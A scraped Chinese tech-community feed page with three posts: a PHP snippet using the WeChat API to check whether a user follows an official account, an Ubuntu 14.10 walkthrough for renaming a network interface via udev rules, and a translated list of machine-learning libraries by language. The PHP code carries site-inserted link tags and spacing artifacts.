Linux下添加删除默认网关

回复

开源技术Rock 发起了问题 • 1 人关注 • 0 个回复 • 18 次浏览 • 11 小时前 • 来自相关话题

微信公众号判断用户是否已关注php代码解析

编程语言scutephp 发表了文章 • 0 个评论 • 22 次浏览 • 1 天前 • 来自相关话题

现在的活动,很多都引导用户关注公众号,才能参与到活动当中,那如何才能判断用户关注了公众号呢? 本文就为大家提供php代码,解决问题。

官方接口说明
获取用户基本信息(包括UnionID机制) 

Http://mp.weixin.qq.com/wiki/14/bb5031008f1494a59c6f71fa0f319c66.HTML

1、只要有基础的access_token和用户openid就可以判断用户是否关注该公众号
2、利用的接口url为:https://api.weixin.qq.com/cgi-bin/user/info?access_token=$token&openid=$openid
3、判断接口返回的字段subscribe是否为1.【1关注,0未关注】

注:
1、判断用户登录的方式为静默授权,用户无感知,从而得到用户的openid;
2、判断用户登录,需要微信认证服务号的支持,订阅号不行; 

下面是代码案例
 < ? php

$access_token = $this - > _getAccessToken();
$subscribe_msg = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$access_token.'&openid='.$_<a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html" href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html">session</a>['wecha_id'];
$subscribe = <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html" href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html">json</a>_decode($this - > <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html" href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html">curl</a>Get($subscribe_msg));
$zyxx = $subscribe - > subscribe;

if ($zyxx !== 1) {
echo'未关注!';
}
private function _getAccessToken() {
$where = array('token' = > $this - > token);
$this - > thisWxUser = M('Wxuser') - > where($where) - > find();
$url_get = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$this - > thisWxUser['appid'].'&secret='.$this - > thisWxUser['appsecret'];
$json = json_decode($this - > curlGet($url_get));
if (!$json - > errmsg) {
} else {
$this - > error('获取access_token发生错误:错误代码'.$json - > errcode.',微信返回错误信息:'.$json - > errmsg);
}
return $json - > access_token;
}
? >

 
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持酷笔记。

原文链接:http://www.kubiji.cn/topic-id3162.html 查看全部
现在的活动,很多都引导用户关注公众号,才能参与到活动当中,那如何才能判断用户关注了公众号呢? 本文就为大家提供php代码,解决问题。

官方接口说明
获取用户基本信息(包括UnionID机制) 

Http://mp.weixin.qq.com/wiki/14/bb5031008f1494a59c6f71fa0f319c66.HTML

1、只要有基础的access_token和用户openid就可以判断用户是否关注该公众号
2、利用的接口url为:https://api.weixin.qq.com/cgi-bin/user/info?access_token=$token&openid=$openid
3、判断接口返回的字段subscribe是否为1.【1关注,0未关注】

注:
1、判断用户登录的方式为静默授权,用户无感知,从而得到用户的openid;
2、判断用户登录,需要微信认证服务号的支持,订阅号不行; 

下面是代码案例
 
< ? php

$access_token = $this - > _getAccessToken();
$subscribe_msg = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$access_token.'&openid='.$_<a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html" href="http://www.kubiji.cn/juhe_listing-idPHPSESSION.html">session</a>['wecha_id'];
$subscribe = <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html" href="http://www.kubiji.cn/juhe_listing-idPHPJSON.html">json</a>_decode($this - > <a data-cke-saved-href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html" href="http://www.kubiji.cn/juhe_listing-idPHPCURL.html">curl</a>Get($subscribe_msg));
$zyxx = $subscribe - > subscribe;

if ($zyxx !== 1) {
echo'未关注!';
}
private function _getAccessToken() {
$where = array('token' = > $this - > token);
$this - > thisWxUser = M('Wxuser') - > where($where) - > find();
$url_get = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$this - > thisWxUser['appid'].'&secret='.$this - > thisWxUser['appsecret'];
$json = json_decode($this - > curlGet($url_get));
if (!$json - > errmsg) {
} else {
$this - > error('获取access_token发生错误:错误代码'.$json - > errcode.',微信返回错误信息:'.$json - > errmsg);
}
return $json - > access_token;
}
? >

 
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持酷笔记

原文链接:http://www.kubiji.cn/topic-id3162.html

修改Ubuntu14.10网卡逻辑名实践

开源技术push 发表了文章 • 0 个评论 • 26 次浏览 • 1 天前 • 来自相关话题

Ubuntu安装完毕之后,如果发生异常宕机,可能导致网卡的逻辑名出现异常,或者和之前的不一致。如果你的应用处理是依据逻辑名,那么有可能数据会传输到非预期的网卡接口上去,今天我们看看在Ubuntu14.10 下网卡固话的过程。
 

网卡信息查询​

eth0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:4541 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:1908 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:288707 (288.7 KB) 发送字节:691213 (691.2 KB)

lo Link encap:本地环回
inet 地址:127.0.0.1 掩码:255.0.0.0
inet6 地址: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 跃点数:1
接收数据包:2503 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2503 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:0
接收字节:836481 (836.4 KB) 发送字节:836481 (836.4 KB)上述HWaddr后面为eth0接口的MAC地址:  52:54:00:09:e2:11
 
查看已有网卡逻辑名:
root@ubuntu1410:~# ls /sys/class/net/
eth0 lo
查看指定网卡MAC地址:
eth0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:5512 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2332 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:351337 (351.3 KB) 发送字节:855606 (855.6 KB)

生成配置文件

root@ubuntu1410:~# export INTERFACE="eth0"
root@ubuntu1410:~# export MATCHADDR="52:54:00:09:e2:11"
root@ubuntu1410:~# /lib/udev/write_net_rules # 生成命令
root@ubuntu1410:~# ls /etc/udev/rules.d/
70-persistent-net.rules 首先引入两个变量INTERFACE,MATCHADDR,然后执行write_net_rules,查看生成的文件70-persistent-net.rules
 
文件内容如下,删除KERNEL项,并修改NAME值。
# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", KERNEL=="eth*", NAME="eth0"修改后:
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", NAME="em0"

禁用源网卡逻辑名规则文件

root@ubuntu1410:/etc/udev/rules.d# cd /lib/udev/rules.d/
root@ubuntu1410:/lib/udev/rules.d# mv 75-persistent-net-generator.rules 75-persistent-net-generator.rules.disabled

修改网卡配置

root@ubuntu1410:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222修改后:
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto em0
iface em0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222不需要重启网卡,直接重启系统。
 

重启后查看新的网卡逻辑名

root@ubuntu1410:~# ls /sys/class/net/
em0 lo
root@ubuntu1410:~# ifconfig em0
em0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:8413 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:3456 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:525779 (525.7 KB) 发送字节:1092548 (1.0 MB)

root@ubuntu1410:~#到这里,网卡逻辑名称就修改完成了。 查看全部
Ubuntu安装完毕之后,如果发生异常宕机,可能导致网卡的逻辑名出现异常,或者和之前的不一致。如果你的应用处理是依据逻辑名,那么有可能数据会传输到非预期的网卡接口上去,今天我们看看在Ubuntu14.10 下网卡固话的过程。
 


网卡信息查询​


eth0       Link encap:以太网  硬件地址 52:54:00:09:e2:11  
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:4541 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:1908 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:288707 (288.7 KB) 发送字节:691213 (691.2 KB)

lo Link encap:本地环回
inet 地址:127.0.0.1 掩码:255.0.0.0
inet6 地址: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 跃点数:1
接收数据包:2503 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2503 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:0
接收字节:836481 (836.4 KB) 发送字节:836481 (836.4 KB)
上述HWaddr后面为eth0接口的MAC地址:  52:54:00:09:e2:11
 
查看已有网卡逻辑名:
root@ubuntu1410:~# ls /sys/class/net/  
eth0 lo

查看指定网卡MAC地址:
eth0       Link encap:以太网  硬件地址 52:54:00:09:e2:11  
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:5512 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:2332 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:351337 (351.3 KB) 发送字节:855606 (855.6 KB)


生成配置文件


root@ubuntu1410:~# export INTERFACE="eth0"  
root@ubuntu1410:~# export MATCHADDR="52:54:00:09:e2:11"
root@ubuntu1410:~# /lib/udev/write_net_rules # 生成命令
root@ubuntu1410:~# ls /etc/udev/rules.d/
70-persistent-net.rules
首先引入两个变量INTERFACE,MATCHADDR,然后执行write_net_rules,查看生成的文件70-persistent-net.rules
 
文件内容如下,删除KERNEL项,并修改NAME值。
# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11", KERNEL=="eth*", NAME="eth0"
修改后:
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="52:54:00:09:e2:11",  NAME="em0"


禁用源网卡逻辑名规则文件


root@ubuntu1410:/etc/udev/rules.d# cd /lib/udev/rules.d/  
root@ubuntu1410:/lib/udev/rules.d# mv 75-persistent-net-generator.rules 75-persistent-net-generator.rules.disabled


修改网卡配置


root@ubuntu1410:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222
修改后:
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto em0
iface em0 inet static
address 10.0.3.94
gateway 10.0.3.1
netmask 255.255.255.0
dns-nameservers 222.222.222.222
不需要重启网卡,直接重启系统。
 


重启后查看新的网卡逻辑名


root@ubuntu1410:~# ls /sys/class/net/
em0 lo
root@ubuntu1410:~# ifconfig em0
em0 Link encap:以太网 硬件地址 52:54:00:09:e2:11
inet 地址:10.0.3.94 广播:10.0.3.255 掩码:255.255.255.0
inet6 地址: fe80::5054:ff:fe09:e211/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:8413 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:3456 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:525779 (525.7 KB) 发送字节:1092548 (1.0 MB)

root@ubuntu1410:~#
到这里,网卡逻辑名称就修改完成了。

国外程序员整理机器学习资源大全

学习资源scutephp 发表了文章 • 0 个评论 • 55 次浏览 • 5 天前 • 来自相关话题

我想很多程序员应该记得 GIThUB 上有一个 Awesome - XXX 系列的资源整理。awesome-machine-learning 就是 josephmisiti 发起维护的机器学习资源列表,内容包括了机器学习领域的框架、库以及软件(按编程语言排序)。

C++

计算机视觉

CCV:基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库。官网

OpenCV:它提供C++、C、Python、Java 以及 MATLAB接口。并支持Windows、Linux、Android 和 Mac OS操作系统。官网

通用机器学习

MLPack:官网。

DLib:官网。

ecogg:官网。

shark:官网。

Closure

通用机器学习

Closure Toolbox:Clojure语言库与工具的分类目录。官网

Go

自然语言处理

go-porterstemmer:一个Porter词干提取算法的原生Go语言净室实现。官网

paicehusk:Paice/Husk词干提取算法的Go语言实现。官网

snowball:Go语言版的Snowball词干提取器。官网

通用机器学习

Go Learn:Go语言机器学习库。官网

go-pr:Go语言机器学习包。官网

bayesian:Go语言朴素贝叶斯分类库。官网

go-galib:Go语言遗传算法库。官网

数据分析/数据可视化

go-graph:Go语言图形库。官网

SVGo:Go语言的SVG生成库。官网

Java

自然语言处理

CoreNLP:斯坦福大学的CoreNLP提供一系列的自然语言处理工具,输入原始英语文本,可以给出单词的基本形式(下面Stanford开头的几个工具都包含其中)。官网

Stanford Parser:一个自然语言解析器。官网

Stanford POS Tagger:一个词性分类器。官网

Stanford Name Entity Recognizer:Java实现的名称识别器。官网

Stanford Word Segmenter:分词器,很多NLP工作中都要用到的标准预处理步骤。官网。

Tregex、Tsurgeon与Semgrex:用来在树状数据结构中进行模式匹配,基于树关系以及节点匹配的正则表达式(名字是“tree regular expressions"的缩写)官网

Stanford Phrasal:最新的基于统计短语的机器翻译系统,java编写。官网

Stanford Tokens Regex:用以定义文本模式的框架。官网

Stanford Temporal Tagger:SUTime是一个识别并标准化时间表达式的库。官网

Stanford SPIED:在种子集上使用模式,以迭代方式从无标签文本中学习字符实体。官网。

Stanford Topic Modeling Toolbox:为社会科学家及其他希望分析数据集的人员提供的主题建模工具。官网

Twitter Text Java:Java实现的推特文本处理库。官网

MALLET:基于Java的统计自然语言处理、文档分类、聚类、主题建模、信息提取以及其他机器学习文本应用包。官网

OpenNLP:处理自然语言文本的机器学习工具包。官网

LingPipe:使用计算机语言学处理文本的工具包。官网

通用机器学习

MLlib in Apache Spark:Spark中的分布式机器学习程序库。官网

Mahout:分布式的机器学习库。官网

Stanford Classifier:斯坦福大学的分类器。官网

Weka:Weka是数据挖掘方面的机器学习算法集。官网

ORYX:提供一个简单的大规模实时机器学习/预测分析基础架构。官网

数据分析/数据可视化

Hadoop:大数据分析平台。官网

Spark:快速通用的大规模数据处理引擎。官网

Impala:为Hadoop实现实时查询。官网

Javascript

自然语言处理

Twitter-text-js:JavaScript实现的推特文本处理库。官网

NLP.js:javascript及coffeescript编写的NLP工具。官网

natural:Node下的通用NLP工具。官网

Knwl.js:JS编写的自然语言处理器。官网

数据分析/数据可视化

D3.js:官网。

High Charts:官网。

NVD3.js:官网。

dc.js:官网。

chartjs:官网。

dimple:官网。

amCharts:官网。

通用机器学习

Convnet.js:训练深度学习模型的JavaScript库。官网

Clustering.js:用JavaScript实现的聚类算法,供Node.js及浏览器使用。官网

Decision Trees:Node.js实现的决策树,使用ID3算法。官网

Node-fann:Node.js下的快速人工神经网络库。官网

Kmeans.js:k-means算法的简单Javascript实现,供Node.js及浏览器使用。官网

LDA.js:供Node.js用的LDA主题建模工具。官网

Learning.js:逻辑回归/c4.5决策树的JavaScript实现。官网

Machine Learning:Node.js的机器学习库。官网

Node-SVM:Node.js的支持向量机。官网

Brain:JavaScript实现的神经网络。官网

Bayesian-Bandit:贝叶斯强盗算法的实现,供Node.js及浏览器使用。官网

Julia

通用机器学习

PGM:Julia实现的概率图模型框架。官网

DA:Julia实现的正则化判别分析包。官网

Regression:回归分析算法包(如线性回归和逻辑回归)。官网

Local Regression:局部回归,非常平滑!。官网

Naive Bayes:朴素贝叶斯的简单Julia实现。官网

Mixed Models:(统计)混合效应模型的Julia包。官网

Simple MCMC:Julia实现的基本mcmc采样器。官网。

Distance:Julia实现的距离评估模块。官网

Decision Tree:决策树分类器及回归分析器。官网

Neural:Julia实现的神经网络。官网

MCMC:Julia下的MCMC工具。官网

GLM:Julia写的广义线性模型包。官网

Online Learning:官网

GLMNet:GMLNet的Julia包装版,适合套索/弹性网模型。官网

Clustering:k-means, dp-means等数据聚类的基本函数。官网

SVM:Julia下的支持向量机。官网

Kernal Density:Julia下的核密度估计器。官网

Dimensionality Reduction:降维算法。官网

NMF:Julia下的非负矩阵分解包。官网

ANN:Julia实现的神经网络。官网

自然语言处理

Topic Models:Julia下的主题建模。官网

Text Analysis:Julia下的文本分析包。官网

数据分析/数据可视化

Graph Layout:纯Julia实现的图布局算法。官网

Data Frames Meta:DataFrames的元编程工具。官网

Julia Data:处理表格数据的Julia库。官网

Data Read:从Stata、SAS、SPSS读取文件。官网

Hypothesis Tests:Julia中的假设检验包。官网

Gladfly:Julia编写的灵巧的统计绘图系统。官网

Stats:Julia编写的统计测试函数包。官网

RDataSets:读取R语言中众多可用的数据集的Julia函数包。官网

DataFrames:处理表格数据的Julia库。官网

Distributions:概率分布及相关函数的Julia包。官网

Data Arrays:元素值可以为空的数据结构。官网

Time Series:Julia的时间序列数据工具包。官网

Sampling:Julia的基本采样算法包。官网

杂项/演示文稿

DSP:数字信号处理。官网

JuliaCon Presentations:Julia大会上的演示文稿。官网

SignalProcessing:Julia的信号处理工具。官网

Images:Julia的图片库。官网


Lua

通用机器学习

Torch7。

cephes:—Cephes数学函数库,包装成Torch可用形式提供并包装了超过180个特殊的数学函数,由Stephen L. Moshier开发,是SciPy的核心,应用于很多场合。官网

graph:供Torch使用的图形包。官网

randomkit:从Numpy提取的随机数生成包,包装成Torch可用形式。官网

signal:Torch-7可用的信号处理工具包,可进行FFT, DCT, Hilbert, cepstrums, stft等变换。官网

nn:Torch可用的神经网络包。官网

nngraph:为nn库提供图形计算能力。官网

nnx:一个不稳定实验性的包,扩展Torch内置的nn库。官网

optim:Torch可用的优化算法库,包括 SGD, Adagrad, 共轭梯度算法, LBFGS, RProp等算法。官网

unsup:Torch下的非监督学习包提供的模块与nn(LinearPsd、ConvPsd、AutoEncoder、...)及独立算法(k-means、PCA)等兼容。官网

manifold:操作流形的包。官网

svm:Torch的支持向量机库。官网

lbfgs:将liblbfgs包装为FFI接口。官网

vowpalwabbit:老版的vowpalwabbit对torch的接口。官网

OpenGM:OpenGM是C++编写的图形建模及推断库,该binding可以用Lua以简单的方式描述图形,然后用OpenGM优化。官网。

sphagetti:MichaelMathieu为torch7编写的稀疏线性模块。官网

LuaSHKit:将局部敏感哈希库SHKit包装成lua可用形式。官网

kernel smoothing:KNN、核权平均以及局部线性回归平滑器。官网

cutorch:torch的CUDA后端实现。官网

cunn:torch的CUDA神经网络实现。官网

imgraph:torch的图像/图形库,提供从图像创建图形、分割、建立树、又转化回图像的例程。官网

videograph:torch的视频/图形库,提供从视频创建图形、分割、建立树、又转化回视频的例程。官网

saliency:积分图像的代码和工具,用来从快速积分直方图中寻找兴趣点。官网

stitch:使用hugin拼合图像并将其生成视频序列。官网

sfm:运动场景束调整/结构包。官网

fex:torch的特征提取包,提供SIFT和dSIFT模块。官网

OverFeat:当前最高水准的通用密度特征提取器。官网

Numeric Lua:官网。

Lunatic Python:官网。

SciLua:官网。

Lua - Numerical Algorithms:官网。

Lunum:官网。

演示及脚本

Core torch7 demos repository:核心torch7演示程序库。官网

线性回归、逻辑回归

人脸检测(训练和检测是独立的演示)

基于mst的断词器

train-a-digit-classifier

train-autoencoder

optical flow demo

train-on-housenumbers

train-on-cifar

tracking with deep nets

kinect demo

滤波可视化

saliency-networks

Training a Convnet for the Galaxy-Zoo Kaggle challenge(CUDA demo):官网

Music Tagging:torch7下的音乐标签脚本。官网

torch-datasets:官网 读取几个流行的数据集的脚本,包括

BSR 500

CIFAR-10

COIL

Street View House Numbers

MNIST

NORB

Atari2600:在Arcade Learning Environment模拟器中用静态帧生成数据集的脚本。官网

Matlab

计算机视觉

Contourlets:实现轮廓波变换及其使用函数的MATLAB源代码。官网 。

Shearlets:剪切波变换的MATLAB源码。官网

Curvelets:Curvelet变换的MATLAB源码(Curvelet变换是对小波变换向更高维的推广,用来在不同尺度角度表示图像)。官网

Bandlets:Bandlets变换的MATLAB源码。官网

自然语言处理

NLP:一个Matlab的NLP库。官网

通用机器学习

Training a deep autoencoder or a classifier on MNIST digits:在MNIST字符数据集上训练一个深度的autoencoder或分类器。官网

t-Distributed Stochastic Neighbor Embedding:获奖的降维技术,特别适合于高维数据集的可视化。官网

Spider:Matlab机器学习的完整面向对象环境。官网

LibSVM:支持向量机程序库。官网

LibLinear:大型线性分类程序库。官网

Machine Learning Module:M. A .Girolami教授的机器学习课程,包括PDF、讲义及代码。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

Pattern Recognition Toolbox:Matlab中的模式识别工具包、完全面向对象。官网

数据分析/数据可视化

matlab_gbl:处理图像的Matlab包。官网

gamic:图像算法纯Matlab高效实现,对MatlabBGL的mex函数是个补充。官网


.NET

计算机视觉

OpenCVDotNet:包装器,使.NET程序能使用OpenCV代码。官网

Emgu CV:跨平台的包装器,能在Windows、Linus、Mac OS X、iOS和Android上编译。官网

自然语言处理

Stanford.NLP for .NET:斯坦福大学NLP包在.NET上的完全移植,还可作为NuGet包进行预编译。官网 。

通用机器学习

Accord.MachineLearning:随机抽样一致性算法、交叉验证、网格搜索这个包是Accord.NET框架的一部分支持向量机、决策树、朴素贝叶斯模。型、K-means、高斯混合模型和机器学习应用的通用算法。官网:

Vulpes:F#语言实现的Deep belief和深度学习包,它在Alea.cuBase下利用CUDA GPU来执行。官网

Encog:先进的神经网络和机器学习框架,包括用来创建多种网络的类,也支。持神经网络需要的数据规则化及处理的类它的训练采用多线程弹性传播。它也能使用GPU加快处理时间提供了图形化界面来帮助建模和训练神经网络。官网

Neural Network Designer:这是一个数据库管理系统和神经网络设计器设计器用WPF开发,也是一个UI,你可以设计你的神经网络、查询网络、创建并配置聊天机器人,它能问问题,并从你的反馈中学习这些机器人甚至可以从网络搜集信息用来输出,或是用来学习。官网

数据分析/数据可视化

numl:numl这个机器学习库,目标就是简化预测和聚类的标准建模技术。官网

Math.NET Numerics:Math.NET项目的数值计算基础,着眼提供科学、工程以及日常数值计算的方法和算法支持 Windows、Linux 和 。Mac上的 .Net 4.0、.Net 3.5 和 Mono ,Silverlight 5、WindowsPhone/SL 8、WindowsPhone 8.1 以及装有 PCL Portable Profiles 47 及 344的Windows 8, 装有 Xamarin的Android/iOS。官网

Sho:Sho是数据分析和科学计算的交互式环境,可以让你将脚本(IronPython语言)和编译的代码(.NET)无缝连接,以快速灵活的建立原型。官网这个环境包括强大高效的库,如线性代数、数据可视化,可供任何.NET语言使用,还为快速开发提供了功能丰富的交互式shell

Python

计算机视觉

SimpleCV:开源计算机视觉框架,可以访问如OpenCV等高性能计算机视觉库使用Python编写,可以在Mac、Windows以及Ubuntu上运行。官网。

自然语言处理

NLTK:一个领先的平台,用来编写处理人类语言数据的Python程序。官网

Pattern:Python可用的web挖掘模块,包括自然语言处理、机器学习等工具。官网

TextBlob:为普通自然语言处理任务提供一致的API,以NLTK和Pattern为基础,并和两者都能很好兼容。官网。

jieba:中文断词工具。官网

SnowNLP:中文文本处理库。官网

loso:另一个中文断词库。官网

genius:基于条件随机域的中文断词库。官网

nut:自然语言理解工具包。官网

通用机器学习

Bayesian Methods for Hackers:Python语言概率规划的电子书。官网

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

scikit-learn:基于SciPy的机器学习模块。官网

graphlab-create:包含多种机器学习模块的库(回归、聚类、推荐系统、图分析等),基于可以磁盘存储的DataFrame。官网

BigML:连接外部服务器的库。官网

pattern:Python的web挖掘模块。官网

NuPIC:Numenta公司的智能计算平台。官网

Pylearn2:基于Theano的机器学习库。官网

hebel:Python编写的使用GPU加速的深度学习库。官网

gensim:主题建模工具。官网

PyBrain:另一个机器学习库。官网

Crab:可扩展的、快速推荐引擎。官网

python-recsys:Python实现的推荐系统。官网

thinking bayes:关于贝叶斯分析的书籍。官网

Restricted Boltzmann Machines:Python实现的受限波尔兹曼机。官网

Bolt:在线学习工具箱。官网

CoverTree:cover tree的Python实现,scipy.spatial.kdtree便捷的替代。官网

nilearn:Python实现的神经影像学机器学习库。官网

Shogun:机器学习工具箱。官网

Pyevolve:遗传算法框架。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

breze:深度及递归神经网络的程序库,基于Theano。官网

数据分析/数据可视化

SciPy:基于Python的数学、科学、工程开源软件生态系统。官网

NumPy:Python科学计算基础包。官网

Numba:Python的低级虚拟机JIT编译器,Cython and NumPy的开发者编写,供科学计算使用。官网

NetworkX:为复杂网络使用的高效软件。官网

Pandas:这个库提供了高性能、易用的数据结构及数据分析工具。官网

Open Mining:Python中的商业智能工具(Pandas web接口)。官网

PyMC:MCMC采样工具包。官网

zipline:Python的算法交易库。官网

PyDy:全名Python Dynamics,协助基于NumPy、SciPy、IPython以及 matplotlib的动态建模工作流。官网

SymPy:符号数学Python库。官网

statsmodels:Python的统计建模及计量经济学库。官网

astropy:Python天文学程序库,社区协作编写。官网

matplotlib:Python的2D绘图库。官网

bokeh:Python的交互式Web绘图库。官网

plotly:Python and matplotlib的协作web绘图库。官网

vincent:将Python数据结构转换为Vega可视化语法。官网

d3py:Python的绘图库,基于D3.js。官网

ggplot:和R语言里的ggplot2提供同样的API。官网

Kartograph.py:Python中渲染SVG图的库,效果漂亮。官网

pygal:Python下的SVG图表生成器。官网

pycascading:官网

杂项脚本/iPython笔记/代码库

pattern_classification:官网

thinking stats 2:官网

hyperopt:官网

numpic:官网

2012-paper-diginorm:官网

ipython-notebooks:官网

decision-weights:官网

Sarah Palin LDA:Sarah Palin关于主题建模的电邮。官网

Diffusion Segmentation:基于扩散方法的图像分割算法集合。官网

Scipy Tutorials:SciPy教程,已过时,请查看scipy-lecture-notes。官网

Crab:Python的推荐引擎库。官网

BayesPy:Python中的贝叶斯推断工具。官网

scikit-learn tutorials:scikit-learn学习笔记系列。官网

sentiment-analyzer:推特情绪分析器。官网

group-lasso:坐标下降算法实验,应用于(稀疏)群套索模型。官网

mne-python-notebooks:使用 mne-python进行EEG/MEG数据处理的IPython笔记。官网

pandas cookbook:使用Python pandas库的方法书。官网

climin:机器学习的优化程序库,用Python实现了梯度下降、LBFGS、rmsprop、adadelta 等算法。官网

Kaggle竞赛源代码

wiki challange:Kaggle上一个维基预测挑战赛 Dell Zhang解法的实现。官网

kaggle insults:Kaggle上”从社交媒体评论中检测辱骂“竞赛提交的代码。官网

kaggle_acquire-valued-shoppers-challenge:Kaggle预测回头客挑战赛的代码。官网

kaggle-cifar:Kaggle上CIFAR-10 竞赛的代码,使用cuda-convnet。官网

kaggle-blackbox:Kaggle上blackbox赛代码,关于深度学习。官网

kaggle-accelerometer:Kaggle上加速度计数据识别用户竞赛的代码。官网

kaggle-advertised-salaries:Kaggle上用广告预测工资竞赛的代码。官网

kaggle amazon:Kaggle上给定员工角色预测其访问需求竞赛的代码。官网

kaggle-bestbuy_big:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(大数据版)。官网

kaggle-bestbuy_small:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(小数据版)。官网

Kaggle Dogs vs. Cats:Kaggle上从图片中识别猫和狗竞赛的代码。官网

Kaggle Galaxy Challenge:Kaggle上遥远星系形态分类竞赛的优胜代码。官网

Kaggle Gender:Kaggle竞赛,从笔迹区分性别。官网

Kaggle Merck:Kaggle上预测药物分子活性竞赛的代码(默克制药赞助)。官网

Kaggle Stackoverflow:Kaggle上 预测StackOverflow网站问题是否会被关闭竞赛的代码。官网

wine-quality:预测红酒质量。官网

Ruby

自然语言处理

Treat:文本检索与注释工具包,Ruby上我见过的最全面的工具包。官网

Ruby Linguistics:这个框架可以用任何语言为Ruby对象构建语言学工具包。括一个语言无关的通用前端,一个将语言代码映射到语言名的模块,和一个含有很有英文语言工具的模块。官网

Stemmer:使得Ruby可用 libstemmer_c中的接口。官网

Ruby Wordnet:WordNet的Ruby接口库。官网

Raspel:aspell绑定到Ruby的接口。官网

UEA Stemmer:UEALite Stemmer的Ruby移植版,供搜索和检索用的保守的词干分析器。官网

Twitter-text-rb:该程序库可以将推特中的用户名、列表和话题标签自动连接并提取出来。官网

通用机器学习

Ruby Machine Learning:Ruby实现的一些机器学习算法。官网

Machine Learning Ruby:官网

jRuby Mahout:精华!在JRuby世界中释放了Apache Mahout的威力。官网

CardMagic-Classifier:可用贝叶斯及其他分类法的通用分类器模块。官网

